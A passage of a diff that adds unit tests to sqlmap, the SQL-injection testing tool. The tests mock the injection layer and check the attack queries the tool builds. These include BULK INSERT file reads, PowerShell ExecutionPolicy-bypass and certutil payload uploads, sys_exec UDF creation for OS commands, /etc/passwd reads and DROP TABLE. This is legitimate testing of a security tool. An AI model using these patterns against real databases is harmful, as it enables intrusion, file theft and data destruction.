test_stackedReadFile_builds_bulk_insert_and_decodes(self): + fs = self._handler() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + + # UNION available -> single getValue returns the hex content directly + def getValue(query, *a, **k): + return encodeHex(b"file-bytes", binary=False) + + self.patch(self.module.inject, "getValue", getValue) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: True) + + result = fs.stackedReadFile("C:\\secret.txt") + + # the BULK INSERT statement loading the file into the support table + bulk = [q for q in stacked if q.startswith("BULK INSERT ")] + self.assertEqual(len(bulk), 1) + self.assertIn("FROM 'C:\\secret.txt'", bulk[0]) + self.assertIn("CODEPAGE='RAW'", bulk[0]) + # the bin->hex conversion routine must reference the 0..F charset + binhex = [q for q in stacked if "0123456789ABCDEF" in q] + self.assertEqual(len(binhex), 1) + self.assertIn("DATALENGTH", binhex[0]) + # result is the raw hex string returned by getValue + self.assertEqual(result, encodeHex(b"file-bytes", binary=False)) + + def test_stackedReadFile_chunked_when_no_union(self): + # No UNION technique -> COUNT(*) then per-row TOP-1 retrieval into a list + fs = self._handler() + self.patch(self.module.inject, "goStacked", lambda q, *a, **k: None) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: False) + + chunks = ["41", "42"] + + def getValue(query, *a, **k): + if query.startswith("SELECT COUNT(*)"): + return "2" + # the per-index extraction query + if "NOT IN (SELECT TOP" in query: + return chunks.pop(0) + return None + + self.patch(self.module.inject, "getValue", getValue) + result = fs.stackedReadFile("C:\\x") + self.assertEqual(result, ["41", "42"]) + + # -- unionWriteFile is explicitly unsupported -------------------------- # + def test_unionWriteFile_unsupported(self): + from lib.core.exception import SqlmapUnsupportedFeatureException + fs = self._handler() + self.assertRaises(SqlmapUnsupportedFeatureException, + fs.unionWriteFile, "a", "b", "binary") + + # -- _stackedWriteFilePS (PowerShell base64) --------------------------- # + def test_stackedWriteFilePS_uploads_base64_and_builds_ps(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append((content, name))) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + fs._stackedWriteFilePS("C:\\Windows\\Temp", b"payload", + "C:\\out.exe", "binary") + + expected_b64 = encodeBase64(b"payload", binary=False) + # the base64 payload goes to the .txt file; the .ps1 holds the decoder. + uploaded = "".join(c for c, name in writes if name.endswith(".txt")) + self.assertEqual(uploaded, expected_b64) + # the powershell command line: ByPass + reference to the .ps1 script + self.assertEqual(len(cmds), 1) + self.assertIn("powershell -ExecutionPolicy ByPass -File", cmds[0]) + + def test_stackedWriteFilePS_script_decodes_to_remote(self): + # Assert the PS script body contains the FromBase64String + Set-Content + # targeting the exact remote file path. + fs = self._handler() + script = {} + + def grab(content, path, name): + if name.endswith(".ps1"): + script["body"] = content + + self.patch(fs, "xpCmdshellWriteFile", grab) + self.patch(fs, "execCmd", lambda cmd: None) + fs._stackedWriteFilePS("C:\\T", b"abc", "C:\\target.dll", "binary") + self.assertIn("[System.Convert]::FromBase64String($Base64)", script["body"]) + self.assertIn('Set-Content -Path "C:\\target.dll"', script["body"]) + + # -- _stackedWriteFileCertutilExe (certutil base64) -------------------- # + def test_stackedWriteFileCertutil_splits_b64_and_decodes(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append(content)) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + # >500 chars of base64 so the splitter actually wraps lines + content = b"Z" * 600 + fs._stackedWriteFileCertutilExe("C:\\T", "local", content, + "C:\\out.bin", "binary") + + b64 = encodeBase64(content, binary=False) + # uploaded text == base64 rejoined on newline at 500-char boundaries + uploaded = writes[0] + self.assertEqual(uploaded.replace("\n", ""), b64) + self.assertEqual(uploaded.split("\n")[0], b64[:500]) + # certutil -decode command targeting the remote file + self.assertEqual(len(cmds), 1) + self.assertIn("certutil -f -decode", cmds[0]) + self.assertIn("C:\\out.bin", cmds[0]) + + +# --------------------------------------------------------------------------- # +# lib/takeover/udf.py (+ MySQL/PostgreSQL CREATE FUNCTION overrides) # +# --------------------------------------------------------------------------- # +class TestUDF(_FsBase): + import lib.takeover.udf as module + + def _udf(self): + u = self.module.UDF() + u.cmdTblName = "cmdtbl" + u.tblField = "data" + return u + + # -- udfForgeCmd ------------------------------------------------------- # + def test_udfForgeCmd_wraps_quotes(self): + u = self._udf() + self.assertEqual(u.udfForgeCmd("whoami"), "'whoami'") + # already partially quoted -> not doubled + self.assertEqual(u.udfForgeCmd("'whoami"), "'whoami'") + self.assertEqual(u.udfForgeCmd("whoami'"), "'whoami'") + + def _escaped(self, u, cmd): + # mirror udfExecCmd's argument preparation: forge then escape via the + # active DBMS unescaper. (The escaper may hex-encode the literal; we want + # to assert the SELECT wrapping/udf-name wiring, not re-test escaping.) + return self.module.unescaper.escape(u.udfForgeCmd(cmd)) + + # -- udfExecCmd -------------------------------------------------------- # + def test_udfExecCmd_builds_select_call(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id") + # default udfName is sys_exec; arg is the forged+escaped command + self.assertEqual(captured["q"], + "SELECT sys_exec(%s)" % self._escaped(u, "id")) + + def test_udfExecCmd_custom_udf_name(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id", udfName="my_fn") + self.assertEqual(captured["q"], + "SELECT my_fn(%s)" % self._escaped(u, "id")) + + # -- udfEvalCmd -------------------------------------------------------- # + def test_udfEvalCmd_direct_joins_lines(self): + # conf.direct -> uses udfExecCmd output, converting \r to \n + set_dbms("MySQL") + conf.direct = True + u = self._udf() + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: ["foo\rbar", "baz"]) + out = u.udfEvalCmd("id") + self.assertEqual(out, "foo\nbarbaz") + + def test_udfEvalCmd_stacked_insert_select_delete(self): + # non-direct -> INSERT via UDF, SELECT back, then DELETE + set_dbms("MySQL") + conf.direct = False + u = self._udf() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", + lambda q, *a, **k: "RESULT") + out = u.udfEvalCmd("id", udfName="sys_eval") + self.assertEqual( + stacked[0], + "INSERT INTO cmdtbl(data) VALUES (sys_eval(%s))" + % self._escaped(u, "id")) + self.assertEqual(stacked[1], "DELETE FROM cmdtbl") + self.assertEqual(out, "RESULT") + + # -- udfCheckNeeded (pruning of the sys UDF set) ----------------------- # + def test_udfCheckNeeded_prunes_unrequested_udfs(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + # nothing requested -> everything irrelevant gets popped + conf.fileRead = conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertEqual(u.sysUdfs, {}) + + def test_udfCheckNeeded_keeps_exec_for_oscmd(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + conf.fileRead = conf.commonFiles = None + conf.osPwn = False + conf.osCmd = True # requests command exec + conf.osShell = conf.regRead = conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + # sys_eval & sys_exec retained; fileread/bineval pruned + self.assertIn("sys_eval", u.sysUdfs) + self.assertIn("sys_exec", u.sysUdfs) + self.assertNotIn("sys_fileread", u.sysUdfs) + self.assertNotIn("sys_bineval", u.sysUdfs) + + def test_udfCheckNeeded_keeps_fileread_for_pgsql_fileread(self): + # sys_fileread is retained ONLY when a file read is requested AND the + # back-end is PostgreSQL (per the explicit DBMS.PGSQL guard). + set_dbms("PostgreSQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertIn("sys_fileread", u.sysUdfs) + + def test_udfCheckNeeded_drops_fileread_for_mysql_fileread(self): + # On MySQL the same file-read request still prunes sys_fileread (the + # guard keeps it only for PostgreSQL). + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertNotIn("sys_fileread", u.sysUdfs) + + # -- udfCheckAndOverwrite --------------------------------------------- # + def test_udfCheckAndOverwrite_new_udf_scheduled(self): + # UDF does not exist -> no overwrite prompt -> scheduled for creation + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertIn("sys_eval", u.udfToCreate) + + def test_udfCheckAndOverwrite_existing_no_overwrite(self): + # UDF exists and user declines overwrite -> NOT scheduled + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: True) + self.patch(u, "_askOverwriteUdf", lambda udf: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertNotIn("sys_eval", u.udfToCreate) + + # -- udfInjectCore ----------------------------------------------------- # + def test_udfInjectCore_uploads_and_creates(self): + # Drive the full inject orchestration with the file write succeeding: + # every requested UDF must end up created and the support table built. + set_dbms("MySQL") + calls = {"created": [], "supportType": None} + + class U(self.module.UDF): + def __init__(self): + super(U, self).__init__() + self.cmdTblName = "cmdtbl" + self.tblField = "data" + self.udfLocalFile = __file__ # any existing file (checkFile passes) + self.udfRemoteFile = "/tmp/lib.so" + + def udfSetRemotePath(self): + pass + + def writeFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["write"] = (remoteFile, fileType, forceCheck) + return True + + def udfCreateFromSharedLib(self, udf, inpRet): + calls["created"].append(udf) + self.createdUdf.add(udf) + + def udfCreateSupportTbl(self, dataType): + calls["supportType"] = dataType + + u = U() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + # binary upload forced; remote path threaded through + self.assertEqual(calls["write"], ("/tmp/lib.so", "binary", True)) + self.assertEqual(calls["created"], ["sys_eval"]) + # MySQL support table uses longtext + self.assertEqual(calls["supportType"], "longtext") + + def test_udfInjectCore_noop_when_all_already_created(self): + # If every UDF is already created, nothing is uploaded and it returns True + set_dbms("MySQL") + + class U(self.module.UDF): + def writeFile(self, *a, **k): + raise AssertionError("writeFile must not be called") + + u = U() + u.createdUdf = {"sys_eval"} + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + self.assertEqual(u.udfToCreate, set()) + + # -- MySQL udfCreateFromSharedLib (CREATE FUNCTION ... SONAME) --------- # + def test_mysql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.mysql.takeover as mod + set_dbms("MySQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfSharedLibName = "libsabc" + t.udfSharedLibExt = "so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib("sys_eval", {"return": "string"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval") + self.assertEqual( + stacked[1], + "CREATE FUNCTION sys_eval RETURNS string SONAME 'libsabc.so'") + self.assertIn("sys_eval", t.createdUdf) + + # -- PostgreSQL udfCreateFromSharedLib (CREATE OR REPLACE FUNCTION) ---- # + def test_pgsql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.postgresql.takeover as mod + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfRemoteFile = "/tmp/libsabc.so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib( + "sys_eval", {"input": ["text"], "return": "text"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval(text)") + self.assertEqual( + stacked[1], + "CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS " + "'/tmp/libsabc.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL " + "INPUT IMMUTABLE") + + # -- PostgreSQL udfSetRemotePath (OS-dependent path) ------------------- # + def test_pgsql_udfSetRemotePath_linux_and_windows(self): + # Linux -> /tmp/; Windows -> bare (saved into the data dir). + # Set kb.os directly to avoid Backend.setOs()'s interactive OS-mismatch + # prompt when flipping the OS mid-test. + import plugins.dbms.postgresql.takeover as mod + from lib.core.enums import OS + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfSharedLibName = "libsxyz" + t.udfSharedLibExt = "so" + + _os = kb.os + try: + kb.os = OS.LINUX + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "/tmp/libsxyz.so") + + kb.os = OS.WINDOWS + t.udfSharedLibExt = "dll" + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "libsxyz.dll") + finally: + kb.os = _os + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py new file mode 100644 index 00000000000..b583ea061fa --- /dev/null +++ b/tests/test_fingerprint.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS version/fork fingerprinting (plugins/dbms//fingerprint.py). Each +plugin's getFingerprint()/checkDbms() probes the backend with a cascade of +boolean expressions (inject.checkBooleanExpression) and version reads +(inject.getValue). Those are the network seam: stubbing them lets the dialect's +whole detection cascade run offline. We drive every targeted plugin with the +oracle pinned both True and False so opposite branches of the cascade execute. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend + +# (display name, fingerprint module, handler package) +TARGETS = [ + ("MySQL", "plugins.dbms.mysql.fingerprint", "plugins.dbms.mysql"), + ("PostgreSQL", "plugins.dbms.postgresql.fingerprint", "plugins.dbms.postgresql"), + ("Microsoft SQL Server", "plugins.dbms.mssqlserver.fingerprint", "plugins.dbms.mssqlserver"), + ("Oracle", "plugins.dbms.oracle.fingerprint", "plugins.dbms.oracle"), + ("IBM DB2", "plugins.dbms.db2.fingerprint", "plugins.dbms.db2"), + ("Microsoft Access", "plugins.dbms.access.fingerprint", "plugins.dbms.access"), + ("Firebird", "plugins.dbms.firebird.fingerprint", "plugins.dbms.firebird"), + ("Sybase", "plugins.dbms.sybase.fingerprint", "plugins.dbms.sybase"), + ("SAP MaxDB", "plugins.dbms.maxdb.fingerprint", "plugins.dbms.maxdb"), + ("HSQLDB", "plugins.dbms.hsqldb.fingerprint", "plugins.dbms.hsqldb"), + ("H2", "plugins.dbms.h2.fingerprint", "plugins.dbms.h2"), + ("Presto", "plugins.dbms.presto.fingerprint", "plugins.dbms.presto"), + ("Vertica", "plugins.dbms.vertica.fingerprint", "plugins.dbms.vertica"), + ("Informix", "plugins.dbms.informix.fingerprint", "plugins.dbms.informix"), + ("InterSystems Cache", "plugins.dbms.cache.fingerprint", "plugins.dbms.cache"), + ("MonetDB", "plugins.dbms.monetdb.fingerprint", "plugins.dbms.monetdb"), + ("Altibase", "plugins.dbms.altibase.fingerprint", "plugins.dbms.altibase"), + ("ClickHouse", "plugins.dbms.clickhouse.fingerprint", "plugins.dbms.clickhouse"), + ("CrateDB", "plugins.dbms.cratedb.fingerprint", "plugins.dbms.cratedb"), + ("Cubrid", "plugins.dbms.cubrid.fingerprint", "plugins.dbms.cubrid"), + ("Mckoi", "plugins.dbms.mckoi.fingerprint", "plugins.dbms.mckoi"), + ("Virtuoso", "plugins.dbms.virtuoso.fingerprint", "plugins.dbms.virtuoso"), + ("Raima Database Manager", "plugins.dbms.raima.fingerprint", "plugins.dbms.raima"), + ("eXtremeDB", "plugins.dbms.extremedb.fingerprint", "plugins.dbms.extremedb"), + ("FrontBase", "plugins.dbms.frontbase.fingerprint", "plugins.dbms.frontbase"), + ("Apache Derby", "plugins.dbms.derby.fingerprint", "plugins.dbms.derby"), + ("MimerSQL", "plugins.dbms.mimersql.fingerprint", "plugins.dbms.mimersql"), +] + + +def _handler_cls(pkg): + main = importlib.import_module(pkg) + return [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + + +# Dialects whose non-extensive getFingerprint emits Format.getDbms() (i.e. +# " ") rather than a hard-coded DBMS.* constant, so the version +# that flowed through (Backend.setVersionList(["1.0"])) actually appears in the +# output. (In the test harness Backend.getDbms() is None because set_dbms uses +# forceDbms, so for these the dialect NAME is absent but "1.0" is load-bearing.) +ACTVER_DBMS = frozenset(( + "MySQL", "Microsoft SQL Server", "Firebird", "HSQLDB", +)) + +# Dialects whose getFingerprint has a fork concept: with the oracle pinned True +# the first fork-detection branch fires (MySQL->MariaDB, PostgreSQL->CockroachDB, +# Oracle->DM8, Cache->Iris, H2->Apache Ignite, Presto->Trino) and the output +# gains a " (... fork)" suffix. Pinned False, no fork is emitted. +FORK_DBMS = frozenset(( + "MySQL", "PostgreSQL", "Oracle", "InterSystems Cache", "H2", "Presto", +)) + +# Dialects whose getFingerprint genuinely needs more extraction state under +# conf.extensiveFp and raises a narrow KeyError before completing. +EXTENSIVE_RAISERS = frozenset(( + "SAP MaxDB", +)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("batch", "extensiveFp", "api", "dbms", "forceDbms")} + self._kb = {k: kb.get(k) for k in ("dbmsVersion", "forcedDbms", "dbms", "stickyDBMS", + "resolutionDbms", "os", "osVersion", "osSP")} + conf.batch = True + conf.extensiveFp = False + conf.api = False + # _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`), + # so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide + import lib.request.inject as _inject + self._inject = _inject + self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved + + def _drive(self, name, modpath, pkg, oracle): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + + # Real content: the dialect's own identity must have flowed into the + # output, not merely the constant "back-end DBMS: " prefix. + if name in ACTVER_DBMS: + # Format.getDbms() embedded the version list -> "1.0" must appear. + self.assertIn("1.0", fp, + "%s fp lost the version that flowed through: %r" % (name, fp)) + else: + # the dialect name (DBMS.* constant) must appear verbatim. + self.assertIn(Backend.getForcedDbms(), fp, + "%s fp lost its dialect name: %r" % (name, fp)) + + # Fork detection: with the oracle pinned True the first fork branch + # fires for the fork-bearing dialects; pinned False none do. This is the + # only thing distinguishing the True/False runs for those dialects. + if name in FORK_DBMS: + if oracle: + self.assertIn("fork)", fp, + "%s did not emit a fork label with oracle=True: %r" % (name, fp)) + else: + self.assertNotIn("fork)", fp, + "%s emitted a fork label with oracle=False: %r" % (name, fp)) + else: + # dialects with no fork concept never emit a fork label + self.assertNotIn("fork)", fp) + + # checkDbms walks the dialect's detection cascade end-to-end; it must + # return a real boolean verdict (True/False), never None or a raise. + verdict = handler.checkDbms() + self.assertIn(verdict, (True, False), + "%s checkDbms() returned a non-bool: %r" % (name, verdict)) + return fp + + def test_fingerprint_oracle_true(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, True) + + def test_fingerprint_oracle_false(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, False) + + def test_fingerprint_extensive(self): + # conf.extensiveFp drives the deeper comment-/version-/dbms-check cascades + # (getFingerprint past the early return) - much more code per dialect. + # In this mode every dialect's output is built around an + # "active fingerprint: " line, so that header is the + # real content proof; the version "1.0" rides along for the ACTVER set. + conf.extensiveFp = True + try: + for name, modpath, pkg in TARGETS: + for oracle in (True, False): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + if name in EXTENSIVE_RAISERS: + # this dialect genuinely needs extra extraction state under + # extensiveFp; assert it gets exactly that far and no further. + with self.assertRaises(KeyError): + handler.getFingerprint() + continue + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + self.assertIn("active fingerprint:", fp, + "%s extensiveFp produced no active-fingerprint line: %r" % (name, fp)) + if name in ACTVER_DBMS: + self.assertIn("1.0", fp, + "%s extensiveFp lost the version: %r" % (name, fp)) + finally: + conf.extensiveFp = False + + +def _make(name, modpath, pkg): + def _t(self): + # _drive already asserts real, dialect-specific content (version/name + + # fork label + a boolean checkDbms verdict) for both oracle states. + self._drive(name, modpath, pkg, True) + self._drive(name, modpath, pkg, False) + return _t + + +# one named test per DBMS for clearer reporting +for _name, _mod, _pkg in TARGETS: + setattr(TestFingerprint, "test_fp_%s" % _pkg.split(".")[-1], _make(_name, _mod, _pkg)) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py new file mode 100644 index 00000000000..40f0f0c9d20 --- /dev/null +++ b/tests/test_generic_takeover.py @@ -0,0 +1,605 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the generic plugin mixins covering: + + * plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the + MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, + and sqlFile. + * plugins/generic/misc.py - getRemoteTempPath (posix / windows-direct / MSSQL + ErrorLog), getVersionFromBanner, delRemoteFile, createSupportTbl, likeOrExact. + * plugins/generic/takeover.py - the PURE helpers only: Takeover.__init__ table + naming and the regRead/regAdd/regDel/osBof/osSmb control flow with the process/ + network collaborators stubbed out (no metasploit/icmpsh/UDF spawning). + +The injection layer (lib.request.inject.{getValue,goStacked}) is patched per +module, conf.direct=True selects the simple inband branches, conf.batch=True keeps +prompts non-interactive, and conf.dumper is a recording stub. Every test restores +all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import OS +from lib.core.settings import NULL + +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +import plugins.generic.takeover as tmod +from plugins.generic.custom import Custom +from plugins.generic.misc import Miscellaneous + + +class _RecordingDumper(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +# --------------------------------------------------------------------------- # +# custom.py +# --------------------------------------------------------------------------- # + +class TestCustomSqlQuery(_GenericBase): + def test_select_joins_listlike_rows(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: [["1", "alice"], ["2", "bob"]] + out = c.sqlQuery("SELECT id, name FROM users;") + # SELECT + list-like rows => each row joined into a single scalar string. + self.assertEqual(len(out), 2) + self.assertTrue(all(isinstance(_, str) for _ in out)) + + def test_select_scalar_passthrough(self): + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + captured["fromUser"] = k.get("fromUser") + return "42" + + cmod.inject.getValue = gv + out = c.sqlQuery("SELECT COUNT(*) FROM users") + self.assertEqual(out, "42") + self.assertTrue(captured["fromUser"]) + + def test_metadb_suffix_stripped(self): + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM foo%s.bar" % METADB_SUFFIX) + # the METADB-suffixed schema qualifier is stripped before injection + self.assertNotIn(METADB_SUFFIX, captured["query"]) + + def test_mssql_from_dbo_rewrite(self): + set_dbms("Microsoft SQL Server") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM mydb.users") + # single-dot FROM target gets the .dbo. schema spliced in for MSSQL + self.assertIn("mydb.dbo.users", captured["query"]) + + def test_nonquery_without_stacking_warns_none(self): + set_dbms("MySQL") + conf.direct = False + kb.injection.data = {} # no stacking technique available + c = Custom() + cmod.inject.getValue = lambda *a, **k: self.fail("must not run a query") + out = c.sqlQuery("DELETE FROM users") + self.assertIsNone(out) + + def test_nonquery_stacked_returns_null(self): + set_dbms("MySQL") + conf.direct = True # direct => stacked execution allowed + c = Custom() + calls = {} + + def go(query, *a, **k): + calls["query"] = query + + cmod.inject.goStacked = go + out = c.sqlQuery("DROP TABLE users") + self.assertEqual(out, NULL) + self.assertIn("DROP TABLE users", calls["query"]) + + def test_nonedata_exception_handled(self): + from lib.core.exception import SqlmapNoneDataException + set_dbms("MySQL") + c = Custom() + + def boom(*a, **k): + raise SqlmapNoneDataException("no data") + + cmod.inject.getValue = boom + # exception is swallowed and logged; output stays None + self.assertIsNone(c.sqlQuery("SELECT 1")) + + +class TestCustomSqlFile(_GenericBase): + def test_sqlfile_select_snippets(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: "r" + + # getSQLSnippet reads from disk; patch it to return inline SQL. + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # two SELECT statements => two recorded dumper.sqlQuery calls + self.assertEqual(len(conf.dumper.sqlQueries), 2) + finally: + cmod.getSQLSnippet = saved + + def test_sqlfile_nonselect_snippet(self): + 